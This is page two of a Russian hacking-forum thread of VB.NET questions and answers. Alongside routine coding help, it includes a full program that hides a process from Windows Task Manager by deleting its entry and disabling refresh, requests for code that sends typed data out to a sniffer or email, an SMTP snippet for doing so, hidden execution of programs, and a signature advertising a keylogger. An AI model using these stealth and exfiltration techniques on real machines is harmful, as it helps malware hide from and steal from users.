Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
Вернуться   HPC / Кодинг / .NET / VB.NET
 
  Страница 2
  , 09:11   #16
Местный
 
Аватар для hahalupa
 
Регистрация: 11.08.2010
Сообщений: 162

Репутация: 2 / 0
По умолчанию

Как откомпилироватьв vb.net проект? Блин, в vb все просто было, а тут найти не могу)))
 
Пользователь вне форума    
Наши Спонсоры
  , 11:06   #17
Постоянный
 
Аватар для Zooma
 
Локация: Империя Зла
Регистрация: 03.07.2010
Сообщений: 587

Репутация: 54 / 1
По умолчанию

Если английская версия то там вроде Project -> Create solution, и когда сохранишь то в папке bin где ты сохранил проект будет ехе файл.
__________________
ಠ_ಠ
Пользователь вне форума    
  , 12:23   #18
Местный
 
Локация: HackZone
Регистрация: 01.07.2010
Сообщений: 166

Репутация: 7 / 0
По умолчанию

Мне нужен VB индикатор звука, подающегося в микрофон. Например: если звук 50 дБ, то label1.caption = "50"
__________________
- Я не был пьян! - Чувак ты кидал моего хомяка по комнате и орал: пикачу я выбираю тебя!!!:-D:-D:-D
Пользователь вне форума    
  , 14:41   #19
Местный
 
Аватар для hahalupa
 
Регистрация: 11.08.2010
Сообщений: 162

Репутация: 2 / 0
По умолчанию

Есть у кого код отправки данных с текстбокса на сниффер, аську или на мыло?
 
Пользователь вне форума    
  , 21:06   #20
1nt
Постоянный
 
Аватар для 1nt
 
Регистрация: 19.11.2010
Сообщений: 733

Репутация: 141 / 2
По умолчанию

Цитата:
Сообщение от hahalupa Посмотреть сообщение
Есть у кого код отправки данных с текстбокса на сниффер, аську или на мыло?
Мануал
Также у .net есть готовые классы для работы с протоколами SMTP,HTTP. Поищи мануал по их использованию. Это совсем не трудно.
__________________
[B][COLOR="Red"][URL="https://hpc.name/showthread.php?t=26401#post284052"]Кейлогер актуален[/URL][/COLOR][/B]
Пользователь вне форума    
  , 12:20   #21
Новичок
 
Локация: Псков
Регистрация: 11.01.2011
Сообщений: 3

Репутация: 0 / 0
По умолчанию

Нужно из реестра вытащить значение, тип - REG_BINARY.
Как его перекодировать для вставки в TextBox?
 

Последний раз редактировалось Ultraloh; 19.08.2011 в 12:26. Причина: Удаление ненужной информации
Пользователь вне форума    
  , 16:42   #22
DWA
Местный
 
Аватар для DWA
 
Регистрация: 25.02.2010
Сообщений: 417

Репутация: 82 / 1
По умолчанию

Цитата:
Сообщение от Ultraloh Посмотреть сообщение
Нужно из реестра вытащить значение, тип - REG_BINARY.
Как его перекодировать для вставки в TextBox?
source:
    Public Function Bin2Strt(ByVal BinaryText As String) As String
 
        Dim Characters As String = Regex.Replace(BinaryText, "[^01]", "")
        Dim ByteArray((Characters.Length / 8) - 1) As Byte
 
        For Index As Integer = 0 To ByteArray.Length - 1
            ByteArray(Index) = Convert.ToByte(Characters.Substring(Index * 8, 8), 2)
        Next
 
        Return ASCIIEncoding.ASCII.GetString(ByteArray)
 
    End Function
source:
TextBox1.Text = Bin2Str(binData)
Добавлено через 1 минуту
Цитата:
Сообщение от hahalupa Посмотреть сообщение
Как откомпилироватьв vb.net проект? Блин, в vb все просто было, а тут найти не могу)))
Build -> Build <ProjectName>

EXE будет лежать в bin/Relaese
 

Последний раз редактировалось DWA; 29.08.2011 в 16:45. Причина: Добавлено сообщение
Пользователь вне форума    
  , 11:17   #23
Новичок
 
Аватар для Firephoenix1467
 
Регистрация: 04.03.2011
Сообщений: 27

Репутация: 0 / 0
По умолчанию

люди скажите пожалуйста, какой код нужен чтоб скрыть процесс из диспетчера задач, например notepad.exe
__________________
Девушка, как мороженное полижешь раз пять и хочешь попробовать другое.
Пользователь вне форума    
  , 18:00   #24
Форумчанин
 
Аватар для -[vb]Rulez-
 
Регистрация: 08.12.2011
Сообщений: 30

Репутация: 0 / 0
По умолчанию

Цитата:
Сообщение от Firephoenix1467 Посмотреть сообщение
люди скажите пожалуйста, какой код нужен чтоб скрыть процесс из диспетчера задач, например notepad.exe
Думаю поможет!

code:
       
Public Class Form1
    Const WM_COMMAND As Int32 = &H111
    Const MF_ENABLED As Int32 = &H0
    Const MF_GRAYED As Int32 = &H1
    Const LVM_FIRST As Int32 = &H1000
    Const LVM_DELETEITEM As Int32 = (LVM_FIRST + 8)
    Const LVM_SORTITEMS As Int32 = (LVM_FIRST + 48)
    Private Declare Function apiFindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
    Private Declare Function apiFindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Int32, ByVal hWnd2 As Int32, ByVal lpsz1 As String, ByVal lpsz2 As String) As Int32
    Private Declare Function apiEnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Int32, ByVal fEnable As Int32) As Boolean
    Private Declare Function apiGetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Int32) As Int32
    Private Declare Function apiGetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
    Private Declare Function apiGetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
    Private Declare Function apiEnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal hMenu As Int32, ByVal wIDEnableItem As Int32, ByVal wEnable As Int32) As Int32
    Private Declare Function apiSendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Int32, ByVal wMsg As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
    Private Declare Function apiGetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
    Private Declare Function apiLockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal hwndLock As Int32) As Int32

    Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        '  Me.Text = pName 'Set form name to match process name given
        Me.ShowInTaskbar = False 'hide application from taskbar
        Timer1.Interval = 700 'Set to start fast
        Timer1.Enabled = True 'Actually start the timer
        ListView1.View = View.Details
        ListView1.Columns.Add("Process name", -2, HorizontalAlignment.Left)
        ListView1.Sorting = SortOrder.Ascending 'So that the list view automatically sorts the entries for us.
        'Me.Hide()  'uncomment when ready to terminate this program elsehow.
    End Sub
    Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
        HideProcess("", False)
    End Sub
    Private Sub Timer1_Elapsed(ByVal sender As System.Object, ByVal e As System.Timers.ElapsedEventArgs) Handles Timer1.Elapsed
        HideProcess("explorer", True)
    End Sub


    Private Function HideProcess(ByVal pName As String, Optional ByVal pHide As Boolean = True)
        On Error Resume Next
        Dim lhWndParent As Int32 = apiFindWindow(Nothing, "Windows Task Manager") 'get handle to the task manager
        Dim lhWndDialog As Int32 = 0
        Dim lhWndProcessList As Int32 = 0
        Dim lhWndProcessHeader As Int32 = 0
        Dim hMenu As Int32 = apiGetMenu(lhWndParent) 'get it's menu handle
        Dim hSubMenu As Int32 = apiGetSubMenu(hMenu, 2) 'get it's submenu handle for "View"
        Dim hSubSubMenu As Int32 = apiGetSubMenu(hSubMenu, 1) 'get it;s subsub menu handle for "update speed"
        Dim hId1 As Int32 = apiGetMenuItemID(hSubMenu, 0) 'Get id for "refresh now" item
        Dim hId2 As Int32 = apiGetMenuItemID(hSubSubMenu, 0) 'Get id for "high update speed" item
        Dim hId3 As Int32 = apiGetMenuItemID(hSubSubMenu, 1) 'Get id for "normal update speed" item
        Dim hId4 As Int32 = apiGetMenuItemID(hSubSubMenu, 2) 'Get id for "low update speed" item
        Dim hId5 As Int32 = apiGetMenuItemID(hSubSubMenu, 3) 'Get id for "paused update speed" item
        If pHide = True Then
            Dim ProcessItemCount, ProcessItemIndex As Int32
            Dim itemString As String, p As New Process, Processes() As Process

            For i As Int32 = 1 To 7 'Loop through all seven child windows, for handles to the listviews, buttons, and header
                lhWndDialog = apiFindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
                If lhWndProcessList = 0 Then lhWndProcessList = apiFindWindowEx(lhWndDialog, 0, "SysListView32", "Processes")
                If lhWndProcessHeader = 0 Then lhWndProcessHeader = apiFindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
            Next

            apiSendMessage(lhWndParent, WM_COMMAND, hId5, 0) 'Click "paused update speed", so we can do it for the taskmgr

            apiEnableMenuItem(hMenu, hId1, MF_GRAYED) 'disable refresh now item
            apiEnableMenuItem(hMenu, hId2, MF_GRAYED) 'disable high update speed
            apiEnableMenuItem(hMenu, hId3, MF_GRAYED) 'disable normal update speed
            apiEnableMenuItem(hMenu, hId4, MF_GRAYED) 'disable low update speed
            apiEnableMenuItem(hMenu, hId5, MF_GRAYED) 'disable paused update speed

            apiEnableWindow(lhWndProcessHeader, 0) 'Disable process header, so it cannot be resorted by user

            If Me.ListView1.Items.Count > 0 Then Me.ListView1.Items.Clear() 'clear any old data that was on the list

            Processes = Process.GetProcesses() 'Get processes

            For Each p In Processes  'Count processes, and add them to the listview.
                ProcessItemCount += 1
                If p.ProcessName.ToString = "Idle" Then
                    With Me.ListView1.Items.Add("System Idle Process")
                    End With
                Else
                    With Me.ListView1.Items.Add(p.ProcessName.ToString)
                    End With
                End If
            Next p

            'Look for, the index of the process matching the string name of our caption then
            For z As Int32 = 0 To ProcessItemCount - 1
                itemString = ListView1.Items.Item(z).Text.ToString()
                If itemString = pName Then ProcessItemIndex = z
            Next

            apiLockWindowUpdate(lhWndProcessList) 'Lock the window from updating, to reduce flashing.
            apiSendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'AutoClick refresh to update, then immediately sort and delete. 
            apiSendMessage(lhWndProcessList, LVM_SORTITEMS, 0, Nothing) ' Sort process items alphabetically
            apiSendMessage(lhWndProcessList, LVM_DELETEITEM, ProcessItemIndex, 0) 'Delete the  process, 
            apiLockWindowUpdate(False) 'unlock that window

            If lhWndParent = 0 Then
                If Timer1.Interval <> 800 Then Timer1.Interval = 800 'Set to react fast while task manager is closed.
            Else
                If Timer1.Interval <> 2500 Then Timer1.Interval = 2500 'Set to a normal looking update speed, while the task manager remains open.
            End If
        Else
            Timer1.Enabled = False 'kill the timer
            For i As Int32 = 1 To 7
                lhWndDialog = apiFindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
                If lhWndProcessList = 0 Then lhWndProcessList = apiFindWindowEx(lhWndDialog, 0, "SysListView32", "Processes")
                If lhWndProcessHeader = 0 Then lhWndProcessHeader = apiFindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
            Next
            apiEnableMenuItem(hMenu, hId1, MF_ENABLED) 're-enable refresh now
            apiEnableMenuItem(hMenu, hId2, MF_ENABLED) 're-enable high update speed
            apiEnableMenuItem(hMenu, hId3, MF_ENABLED) 're-enable normal update speed
            apiEnableMenuItem(hMenu, hId4, MF_ENABLED) 're-enable low update speed
            apiEnableMenuItem(hMenu, hId5, MF_ENABLED) 're-enable paused update speed
            apiSendMessage(lhWndParent, WM_COMMAND, hId3, 0) 'click normal update speed
            apiSendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'click refresh now
            apiEnableWindow(lhWndProcessHeader, 1) 'Enable process header
        End If
        Return True
    End Function



End Class
Взято:http://www.codeguru.com
 
Пользователь вне форума    
  , 10:01   #25
Новичок
 
Регистрация: 20.05.2009
Сообщений: 20

Репутация: -1 / 0
По умолчанию

Где то я видел код .Исполняемый код (cmd)пихали в textbox1.Text и запускали.
Подскажите как это реализовать в vb.net или запустить его из ресурсов
Shell("123.exe", AppWinStyle.Hide)
Shell(My.Resources.123)
Такие варианты не подходят - не найти.
 
Пользователь вне форума    
  , 10:06   #26
Новичок
 
Регистрация: 20.05.2009
Сообщений: 20

Репутация: -1 / 0
По умолчанию

Цитата:
Сообщение от hahalupa Посмотреть сообщение
Есть у кого код отправки данных с текстбокса на сниффер, аську или на мыло?
На мыло -используй протокол smtp (майл.ру порт 25)
Dim Wc As New Net.WebClient
Dim MyMailMessage As New Mail.MailMessage
MyMailMessage.From = New MailAddress("123@mail.ru")'от кого
MyMailMessage.To.Add("123@mail.ru")' кому
MyMailMessage.Subject = ("привет")'темка
MyMailMessage.Body = ("Как дела")'Тут твой текстбокс
Wc.Dispose()
Dim SmtpServer As New SmtpClient("smtp.mail.ru")
SmtpServer.Port = 25
SmtpServer.Credentials = New System.Net.NetworkCredential(Твой логин в кавычках, твой пароль)
SmtpServer.EnableSsl = True
Try
SmtpServer.Send(MyMailMessage)
Catch ec As SmtpException
End Try
 
Пользователь вне форума    
  , 10:18   #27
Banned
 
Регистрация: 12.02.2011
Сообщений: 257

Репутация: 8 / 0
По умолчанию

Цитата:
Сообщение от leh12 Посмотреть сообщение
Где то я видел код .Исполняемый код (cmd)пихали в textbox1.Text и запускали.
Подскажите как это реализовать в vb.net или запустить его из ресурсов
Shell("123.exe", AppWinStyle.Hide)
Shell(My.Resources.123)
Такие варианты не подходят - не найти.
shell(TextBox1.text) очень даже подходит. Сам пользуюсь.
__________________
Алсо, сегодня анон лизецрел бурлящие говна при наборе «война в 2010» в гуглях. Ванга предказывает, троллота набегает, анонимусы ликуют!
Пользователь вне форума    
  , 17:14   #28
Форумчанин
 
Регистрация: 26.12.2009
Сообщений: 30

Репутация: 4 / 0
По умолчанию

как написать програмку чтобы в определенное время удалила определенный файл ?
 
Пользователь вне форума    
  , 19:36   #29
1nt
Постоянный
 
Аватар для 1nt
 
Регистрация: 19.11.2010
Сообщений: 733

Репутация: 141 / 2
По умолчанию

сравнить текущую дату с необходимой, не?
__________________
[B][COLOR="Red"][URL="https://hpc.name/showthread.php?t=26401#post284052"]Кейлогер актуален[/URL][/COLOR][/B]
Пользователь вне форума    
  , 23:16   #30
Модератор
 
Локация: Cyberspace
Регистрация: 01.07.2008
Сообщений: 122

Репутация: 75 / 1
По умолчанию

Цитата:
Сообщение от 1nt Посмотреть сообщение
сравнить текущую дату с необходимой, не?
А далее через FileSystemObject. вроде с 98 окон работает, ну или класс .NET - File
__________________
Live long and prosper.
Пользователь вне форума    

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Реверсинг] Задай вопрос - получи ответ M@ZAX@KEP Реверсинг 35 02.10.2016 21:35
Взлом приложений ВКонтакте kir55rus Соц. сети 641 31.07.2014 15:39
[Photoshop] Задай вопрос - получи ответ M@ZAX@KEP Photoshop 13 14.10.2012 18:50
Сетевой этикет (Перед тем, как задать вопрос хакеру) Ram0nlord За чашечкой чая 6 21.05.2012 19:01
Поймал adware - способ борьбы Solomon_15 Windows 11 24.12.2010 14:14



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.